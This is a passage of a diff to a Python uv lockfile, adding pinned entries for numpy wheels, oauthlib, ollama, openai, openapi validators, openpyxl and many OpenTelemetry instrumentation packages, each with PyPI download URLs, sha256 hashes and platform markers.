"2025-11-16T22:52:31.421Z" }, + { url = "https://files.pythonhosted.org/packages/7d/e4/68d2f474df2cb671b2b6c2986a02e520671295647dad82484cde80ca427b/numpy-2.3.5-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ffac52f28a7849ad7576293c0cb7b9f08304e8f7d738a8cb8a90ec4c55a998eb", size = 14391768, upload-time = "2025-11-16T22:52:33.593Z" }, + { url = "https://files.pythonhosted.org/packages/b8/50/94ccd8a2b141cb50651fddd4f6a48874acb3c91c8f0842b08a6afc4b0b21/numpy-2.3.5-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:63c0e9e7eea69588479ebf4a8a270d5ac22763cc5854e9a7eae952a3908103f7", size = 16729263, upload-time = "2025-11-16T22:52:36.369Z" }, +] + +[[package]] +name = "oauthlib" +version = "3.3.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0b/5f/19930f824ffeb0ad4372da4812c50edbd1434f678c90c2733e1188edfc63/oauthlib-3.3.1.tar.gz", hash = "sha256:0f0f8aa759826a193cf66c12ea1af1637f87b9b4622d46e866952bb022e538c9", size = 185918, upload-time = "2025-06-19T22:48:08.269Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/be/9c/92789c596b8df838baa98fa71844d84283302f7604ed565dafe5a6b5041a/oauthlib-3.3.1-py3-none-any.whl", hash = "sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1", size = 160065, upload-time = "2025-06-19T22:48:06.508Z" }, +] + +[[package]] +name = "ollama" +version = "0.1.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "httpx", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/48/88/3b7094ddfc38a350a7fa8cce88ef584ca08cf127c9f5e4ce9e6504cd3b61/ollama-0.1.9.tar.gz", hash = "sha256:f64484b280db0fa03fb899580d8a3a85af3787fd2a85b67669b743e313b3faf1", size = 9453, upload-time = "2024-04-26T00:13:33.358Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fc/3e/a589e9e3702950e0babb1878155f9a731b1bc0e250cf33a2496ab70b9c1a/ollama-0.1.9-py3-none-any.whl", hash = "sha256:46d4b4028ac5cbb30a8128ba60967171fbb523c25c832c0f3f090989e5441033", size = 9360, upload-time = "2024-04-26T00:13:23.196Z" }, +] + +[[package]] +name = "openai" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "distro", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "httpx", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "jiter", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pydantic", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "sniffio", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "tqdm", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b8/b1/8201e321a7d64a25c6f5a560320272d8be70547add40311fceb916518632/openai-2.2.0.tar.gz", hash = "sha256:bc49d077a8bf0e370eec4d038bc05e232c20855a19df0b58e5b3e5a8da7d33e0", size = 588512, upload-time = "2025-10-06T18:08:13.665Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/92/6aeef1836e66dfec7f7f160a4f06d7041be7f6ccfc47a2f0f5738b332245/openai-2.2.0-py3-none-any.whl", hash = "sha256:d222e63436e33f3134a3d7ce490dc2d2f146fa98036eb65cc225df3ce163916f", size = 998972, upload-time = "2025-10-06T18:08:11.775Z" }, +] + +[[package]] +name = "openapi-schema-validator" +version = "0.6.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonschema", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "jsonschema-specifications", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "rfc3339-validator", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8b/f3/5507ad3325169347cd8ced61c232ff3df70e2b250c49f0fe140edb4973c6/openapi_schema_validator-0.6.3.tar.gz", hash = "sha256:f37bace4fc2a5d96692f4f8b31dc0f8d7400fd04f3a937798eaf880d425de6ee", size = 11550, upload-time = "2025-01-10T18:08:22.268Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/21/c6/ad0fba32775ae749016829dace42ed80f4407b171da41313d1a3a5f102e4/openapi_schema_validator-0.6.3-py3-none-any.whl", hash = "sha256:f3b9870f4e556b5a62a1c39da72a6b4b16f3ad9c73dc80084b1b11e74ba148a3", size = 8755, upload-time = "2025-01-10T18:08:19.758Z" }, +] + +[[package]] +name = "openapi-spec-validator" +version = "0.7.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonschema", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "jsonschema-path", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "lazy-object-proxy", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "openapi-schema-validator", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/82/af/fe2d7618d6eae6fb3a82766a44ed87cd8d6d82b4564ed1c7cfb0f6378e91/openapi_spec_validator-0.7.2.tar.gz", hash = "sha256:cc029309b5c5dbc7859df0372d55e9d1ff43e96d678b9ba087f7c56fc586f734", size = 36855, upload-time = "2025-06-07T14:48:56.299Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/27/dd/b3fd642260cb17532f66cc1e8250f3507d1e580483e209dc1e9d13bd980d/openapi_spec_validator-0.7.2-py3-none-any.whl", hash = "sha256:4bbdc0894ec85f1d1bea1d6d9c8b2c3c8d7ccaa13577ef40da9c006c9fd0eb60", size = 39713, upload-time = "2025-06-07T14:48:54.077Z" }, +] + +[[package]] +name = "openpyxl" +version = "3.1.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "et-xmlfile", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3d/f9/88d94a75de065ea32619465d2f77b29a0469500e99012523b91cc4141cd1/openpyxl-3.1.5.tar.gz", hash = "sha256:cf0e3cf56142039133628b5acffe8ef0c12bc902d2aadd3e0fe5878dc08d1050", size = 186464, upload-time = "2024-06-28T14:03:44.161Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c0/da/977ded879c29cbd04de313843e76868e6e13408a94ed6b987245dc7c8506/openpyxl-3.1.5-py2.py3-none-any.whl", hash = "sha256:5282c12b107bffeef825f4617dc029afaf41d0ea60823bbb665ef3079dc79de2", size = 250910, upload-time = "2024-06-28T14:03:41.161Z" }, +] + +[[package]] +name = "opentelemetry-api" +version = "1.37.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "importlib-metadata", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/63/04/05040d7ce33a907a2a02257e601992f0cdf11c73b33f13c4492bf6c3d6d5/opentelemetry_api-1.37.0.tar.gz", hash = "sha256:540735b120355bd5112738ea53621f8d5edb35ebcd6fe21ada3ab1c61d1cd9a7", size = 64923, upload-time = "2025-09-11T10:29:01.662Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/91/48/28ed9e55dcf2f453128df738210a980e09f4e468a456fa3c763dbc8be70a/opentelemetry_api-1.37.0-py3-none-any.whl", hash = "sha256:accf2024d3e89faec14302213bc39550ec0f4095d1cf5ca688e1bfb1c8612f47", size = 65732, upload-time = "2025-09-11T10:28:41.826Z" }, +] + +[[package]] +name = "opentelemetry-exporter-otlp-proto-common" +version = "1.37.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-proto", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/dc/6c/10018cbcc1e6fff23aac67d7fd977c3d692dbe5f9ef9bb4db5c1268726cc/opentelemetry_exporter_otlp_proto_common-1.37.0.tar.gz", hash = "sha256:c87a1bdd9f41fdc408d9cc9367bb53f8d2602829659f2b90be9f9d79d0bfe62c", size = 20430, upload-time = "2025-09-11T10:29:03.605Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/08/13/b4ef09837409a777f3c0af2a5b4ba9b7af34872bc43609dda0c209e4060d/opentelemetry_exporter_otlp_proto_common-1.37.0-py3-none-any.whl", hash = "sha256:53038428449c559b0c564b8d718df3314da387109c4d36bd1b94c9a641b0292e", size = 18359, upload-time = "2025-09-11T10:28:44.939Z" }, +] + +[[package]] +name = "opentelemetry-exporter-otlp-proto-http" +version = "1.37.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "googleapis-common-protos", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-exporter-otlp-proto-common", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-proto", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-sdk", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5d/e3/6e320aeb24f951449e73867e53c55542bebbaf24faeee7623ef677d66736/opentelemetry_exporter_otlp_proto_http-1.37.0.tar.gz", hash = "sha256:e52e8600f1720d6de298419a802108a8f5afa63c96809ff83becb03f874e44ac", size = 17281, upload-time = "2025-09-11T10:29:04.844Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e9/e9/70d74a664d83976556cec395d6bfedd9b85ec1498b778367d5f93e373397/opentelemetry_exporter_otlp_proto_http-1.37.0-py3-none-any.whl", hash = "sha256:54c42b39945a6cc9d9a2a33decb876eabb9547e0dcb49df090122773447f1aef", size = 19576, upload-time = "2025-09-11T10:28:46.726Z" }, +] + +[[package]] +name = "opentelemetry-instrumentation" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-semantic-conventions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "packaging", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "wrapt", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f6/36/7c307d9be8ce4ee7beb86d7f1d31027f2a6a89228240405a858d6e4d64f9/opentelemetry_instrumentation-0.58b0.tar.gz", hash = "sha256:df640f3ac715a3e05af145c18f527f4422c6ab6c467e40bd24d2ad75a00cb705", size = 31549, upload-time = "2025-09-11T11:42:14.084Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d4/db/5ff1cd6c5ca1d12ecf1b73be16fbb2a8af2114ee46d4b0e6d4b23f4f4db7/opentelemetry_instrumentation-0.58b0-py3-none-any.whl", hash = "sha256:50f97ac03100676c9f7fc28197f8240c7290ca1baa12da8bfbb9a1de4f34cc45", size = 33019, upload-time = "2025-09-11T11:41:00.624Z" }, +] + +[[package]] +name = "opentelemetry-instrumentation-aiohttp-client" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-semantic-conventions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-util-http", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "wrapt", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/4a/5d/de936b63cde9fba615ca0a3b1e1d2a986a400fe53890f52760df0955596e/opentelemetry_instrumentation_aiohttp_client-0.58b0.tar.gz", hash = "sha256:aab610f90a1be67ae66d3781bcad2b484774f043f73e8519156ca04d05019b2a", size = 15039, upload-time = "2025-09-11T11:42:15.502Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/67/2d/0fe2d0c4af6d23bf51dea5b2324fe06a91ec0b4e82a1ebbc4cbf3a8e1067/opentelemetry_instrumentation_aiohttp_client-0.58b0-py3-none-any.whl", hash = "sha256:14b805bd3da73579bb8484f798800af15bc8218dd775275c207cdf5b8abae586", size = 12377, upload-time = "2025-09-11T11:41:03.021Z" }, +] + +[[package]] +name = "opentelemetry-instrumentation-asgi" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "asgiref", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-semantic-conventions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-util-http", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/7b/e2/03ff707d881d590c7adaed5e9d1979aed7e5e53fc1ed89035e5ed9f304af/opentelemetry_instrumentation_asgi-0.58b0.tar.gz", hash = "sha256:3ccc0c9c1c8c71e8d9da5945c6dcd9c0c8d147839f208536b7042c6dd98e65c9", size = 25116, upload-time = "2025-09-11T11:42:18.437Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8c/71/a00884c6655387c70070138acbf79a6616ad5d4489680f40708d75b598a7/opentelemetry_instrumentation_asgi-0.58b0-py3-none-any.whl", hash = "sha256:508a6d79e333d648d2afee0e140b6e80eb5d443be183be58e81d9ff88373168a", size = 16798, upload-time = "2025-09-11T11:41:08.105Z" }, +] + +[[package]] +name = "opentelemetry-instrumentation-botocore" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-propagator-aws-xray", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-semantic-conventions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/23/e2/9fcf39341f1be823e207a829c27d215500ca32fd7fe71dbda8386f74fc20/opentelemetry_instrumentation_botocore-0.58b0.tar.gz", hash = "sha256:b0e63480a9cbfc6eecfdb4ab79e1532bff26eb592bcabe4fe6153c68368e1770", size = 119837, upload-time = "2025-09-11T11:42:25.18Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8e/61/e67e5bb5abf5ea6d7c404108234c7354b553e9fd6896b5871ae35c8e8938/opentelemetry_instrumentation_botocore-0.58b0-py3-none-any.whl", hash = "sha256:0be68c68154cffed4937064819b916b4e35c20d3c59919bccf419fb37e553d4e", size = 37038, upload-time = "2025-09-11T11:41:17.039Z" }, +] + +[[package]] +name = "opentelemetry-instrumentation-celery" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-semantic-conventions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3b/57/eded8d4059e9a9e15c607fba4619df12b55693023d7ba41e39a451951e7c/opentelemetry_instrumentation_celery-0.58b0.tar.gz", hash = "sha256:1dc35c3a8b82649659da0057df57740a8b3656492ad915da68b8f5f1b7a208e9", size = 14768, upload-time = "2025-09-11T11:42:27.96Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9a/ad/7ac0da3ef9ae2239ae7a6bc586e25d359e29c4a7137491129e92135de589/opentelemetry_instrumentation_celery-0.58b0-py3-none-any.whl", hash = "sha256:e8be21bffadef30487fb351466e3b48c3aa0d45065af2e4515ab7d6f98bfda6e", size = 13806, upload-time = "2025-09-11T11:41:19.676Z" }, +] + +[[package]] +name = "opentelemetry-instrumentation-dbapi" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-semantic-conventions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "wrapt", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e5/8b/bf6c72d54f77eb0e4445e3b0415e69b3ea5fa40b9372c586db91ffc59b17/opentelemetry_instrumentation_dbapi-0.58b0.tar.gz", hash = "sha256:34ca7e7bf942d5ebf1ea3838e34154b3900bd00d17115a99b83c4ee280e658ac", size = 14223, upload-time = "2025-09-11T11:42:30.771Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b4/18/bf51a3913da9659d17aa1f44860bcc5d721ddcdcdbfbca80b596139d8811/opentelemetry_instrumentation_dbapi-0.58b0-py3-none-any.whl", hash = "sha256:49283687dfc47f05484d4b186fecca8a96b70e18fd406e34c13eb5f09eabb67c", size = 12522, upload-time = "2025-09-11T11:41:23.665Z" }, +] + +[[package]] +name = "opentelemetry-instrumentation-django" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-wsgi", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-semantic-conventions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-util-http", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/69/e8/6055cb9129a5a80b8814b770b79ce559977ff3b3b11dfd4067566ff25c1d/opentelemetry_instrumentation_django-0.58b0.tar.gz", hash = "sha256:24f45706a9dc3c47b9214ed5422fd0d35a850f3f40b04112a91fc10561cfd3f5", size = 25009, upload-time = "2025-09-11T11:42:31.853Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/83/1a/396e941a7aae4e81793931a60669378c64a147a6dca75344b4c26cc8811b/opentelemetry_instrumentation_django-0.58b0-py3-none-any.whl", hash = "sha256:6e3ada766ce965e9486d193e10cb32749bd51fe1adb5ec6b9310e33fe89fad6d", size = 19596, upload-time = "2025-09-11T11:41:24.806Z" }, +] + +[[package]] +name = "opentelemetry-instrumentation-grpc" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-semantic-conventions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "wrapt", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f5/33/466fff6dd61987dd212749787631ca2ca38d0661cf13a147c8babfba39b6/opentelemetry_instrumentation_grpc-0.58b0.tar.gz", hash = "sha256:cdaeff03ecbd644a75428a17d2c565180ff5bc95542534f40330e730523c7a80", size = 31408, upload-time = "2025-09-11T11:42:37.097Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/94/3a/119a81022f918017e68aab6e13949fa10d5c82a6b01dfff3666dc8b7fb51/opentelemetry_instrumentation_grpc-0.58b0-py3-none-any.whl", hash = "sha256:ba0586cf653ae5b7347c80637ddbe2545b4f98d17ac72b5dabb407ca77d79e1c", size = 27203, upload-time = "2025-09-11T11:41:31.543Z" }, +] + +[[package]] +name = "opentelemetry-instrumentation-logging" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e2/65/db3ce7a7eda7ae70338339baeb80894e283d24a0036a0021745e54a5b874/opentelemetry_instrumentation_logging-0.58b0.tar.gz", hash = "sha256:1475e531cf0e1c03e1c42995fcf312767edaadfe335d04d1d3b27c9a8c8c7049", size = 9969, upload-time = "2025-09-11T11:42:40.384Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a7/d7/40f03745f540630b9e5712dfe5971b9a3f0032df89c5f7bdd167db7ebafc/opentelemetry_instrumentation_logging-0.58b0-py3-none-any.whl", hash = "sha256:9bc59602be50e21c4946de9026de3c00556b5f5845c25c834518a0b63ba897b9", size = 12577, upload-time = "2025-09-11T11:41:36.395Z" }, +] + +[[package]] +name = "opentelemetry-instrumentation-psycopg" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-dbapi", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a3/e3/9c700526e3eb5753026819d152066fe085fd270de0dcced7a9397dcac2d6/opentelemetry_instrumentation_psycopg-0.58b0.tar.gz", hash = "sha256:b4301d74bd990bba1f0a43b00a4a02960987f23cf7933ec1df29246fda79d27a", size = 10680, upload-time = "2025-09-11T11:42:43.579Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6e/3e/c03380e90d4187880473fc126b60b4642e03c6c3acbf07c72b15b778336c/opentelemetry_instrumentation_psycopg-0.58b0-py3-none-any.whl", hash = "sha256:c7eaaaec7941743ab70a17125ae7dbab974f9ed55594c1e467b8691ecd7e50f1", size = 11043, upload-time = "2025-09-11T11:41:41.082Z" }, +] + +[[package]] +name = "opentelemetry-instrumentation-psycopg2" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation-dbapi", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/36/3e/eee2fafdd5c7f141cffc588859659e3e0808872c7f8f28d321921d6cc08d/opentelemetry_instrumentation_psycopg2-0.58b0.tar.gz", hash = "sha256:e08e2336926a920bc01788d7ff08315c7d995bd62bc9588c316ebb46f05ae95c", size = 10735, upload-time = "2025-09-11T11:42:44.424Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/d8/5e92e7e1be63076a23309523c827437ab7e4f77c20fa2077c49aa055cf56/opentelemetry_instrumentation_psycopg2-0.58b0-py3-none-any.whl", hash = "sha256:6afa483f4d1f6d94702082c96e5a0e14bad32195e0d3c10ab5cda92a8f523e36", size = 10732, upload-time = "2025-09-11T11:41:42.118Z" }, +] + +[[package]] +name = "opentelemetry-instrumentation-redis" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-semantic-conventions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "wrapt", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e1/1a/780a4db764edf90299dd80ef5846e9ab27870236e5152eacf43e523eac0e/opentelemetry_instrumentation_redis-0.58b0.tar.gz", hash = "sha256:6271f10a9ee0572f1c67f630b098326a4fe02b898c46a173942766c00307914a", size = 13971, upload-time = "2025-09-11T11:42:49.633Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e3/c0/2a1d5a6950823369f11c19793ed79e882a8b7402de50b890f86541907245/opentelemetry_instrumentation_redis-0.58b0-py3-none-any.whl", hash = "sha256:d58fdf2103e437f927e14606145f7066336aa11429f757783bff2e56e1b99eba", size = 14927, upload-time = "2025-09-11T11:41:50.413Z" }, +] + +[[package]] +name = "opentelemetry-instrumentation-requests" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-semantic-conventions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-util-http", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/36/42/83ee32de763b919779aaa595b60c5a7b9c0a4b33952bbe432c5f6a783085/opentelemetry_instrumentation_requests-0.58b0.tar.gz", hash = "sha256:ae9495e6ff64e27bdb839fce91dbb4be56e325139828e8005f875baf41951a2e", size = 15188, upload-time = "2025-09-11T11:42:51.268Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/90/4d/f3476b28ea167d1762134352d01ae9693940a42c78994d9f1b32a4477816/opentelemetry_instrumentation_requests-0.58b0-py3-none-any.whl", hash = "sha256:672a0be0bb5b52bea0c11820b35e27edcf4cd22d34abe4afc59a92a80519f8a8", size = 12966, upload-time = "2025-09-11T11:41:52.67Z" }, +] + +[[package]] +name = "opentelemetry-instrumentation-wsgi" +version = "0.58b0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-instrumentation", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-semantic-conventions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "opentelemetry-util-http", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3e/76/c33bb3f219dc2266f98b8f927e913e93b31e94af7aa6430a9a9f167f9ab2/opentelemetry_instrumentation_wsgi-0.58b0.tar.gz", hash = "sha256:0ea27d44c83b48e6b182a904c801ca62b2999642647f32ef33c8a9c8bbf6a245", size = 18377, upload-time = "2025-09-11T11:43:02.589Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/81/05/a168ba97831823e170937b4f1a0f95657c8bd9cc573c81629f464c3cc32b/opentelemetry_instrumentation_wsgi-0.58b0-py3-none-any.whl", hash = "sha256:cef5bdf1cb7a5162fdb1c1a2f95e4a08e02b1ca67ce828a1efdf81e9f23273b7", size = 14449, upload-time = "2025-09-11T11:42:05.323Z" }, +] + +[[package]] +name = "opentelemetry-propagator-aws-xray" +version = "1.0.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f4/31/40004e9e55b1e5694ef3a7526f0b7637df44196fc68a8b7d248a3684680f/opentelemetry_propagator_aws_xray-1.0.2.tar.gz", hash = "sha256:6b2cee5479d2ef0172307b66ed2ed151f598a0fd29b3c01133ac87ca06326260", size = 10994, upload-time = "2024-08-05T17:45:57.601Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ea/89/849a0847871fd9745315896ad9e23d6479db84d90b8b36c4c26dc46e92b8/opentelemetry_propagator_aws_xray-1.0.2-py3-none-any.whl", hash = "sha256:1c99181ee228e99bddb638a0c911a297fa21f1c3a0af951f841e79919b5f1934", size = 10856, upload-time = "2024-08-05T17:45:56.492Z" }, +] + +[[package]] +name = "opentelemetry-proto" +version = "1.37.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "protobuf", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/dd/ea/a75f36b463a36f3c5a10c0b5292c58b31dbdde74f6f905d3d0ab2313987b/opentelemetry_proto-1.37.0.tar.gz", hash = "sha256:30f5c494faf66f77faeaefa35ed4443c5edb3b0aa46dad073ed7210e1a789538", size = 46151, upload-time = "2025-09-11T10:29:11.04Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c4/25/f89ea66c59bd7687e218361826c969443c4fa15dfe89733f3bf1e2a9e971/opentelemetry_proto-1.37.0-py3-none-any.whl", hash = "sha256:8ed8c066ae8828bbf0c39229979bdf583a126981142378a9cbe9d6fd5701c6e2", size = 72534, upload-time = "2025-09-11T10:28:56.831Z" }, 